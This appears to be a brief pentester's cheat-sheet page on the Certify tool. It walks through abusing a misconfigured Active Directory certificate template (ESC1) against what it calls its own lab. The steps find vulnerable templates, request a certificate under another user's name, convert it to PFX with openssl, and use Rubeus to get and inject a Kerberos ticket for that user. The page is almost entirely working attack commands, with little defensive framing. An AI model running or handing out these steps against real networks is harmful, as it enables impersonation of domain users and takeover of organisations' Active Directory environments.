Skip to main content

certify

A cool tool for investigating Active Directory certificate abuse.

Find all vulnerable certs

certify.exe find /vulnerable

Abuse ESC1 (example from our lab)

Certify.exe request /ca:tt-dc01.tangent.town\tangent-TT-DC01-CA /template:4lewsers /altname:tommy

Now copy everything from...

-----BEGIN RSA PRIVATE KEY-----

...to...

-----END CERTIFICATE-----

Then save that to a file called cert.pem. Next:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

This will give you the cert.pfx file, which you can use to request a TGT with Rubeus:

Rubeus.exe asktgt /user:ad-user-you-chose-to-impersonate-with-certify.exe-command /certificate:cert.pfx /ptt /nowrap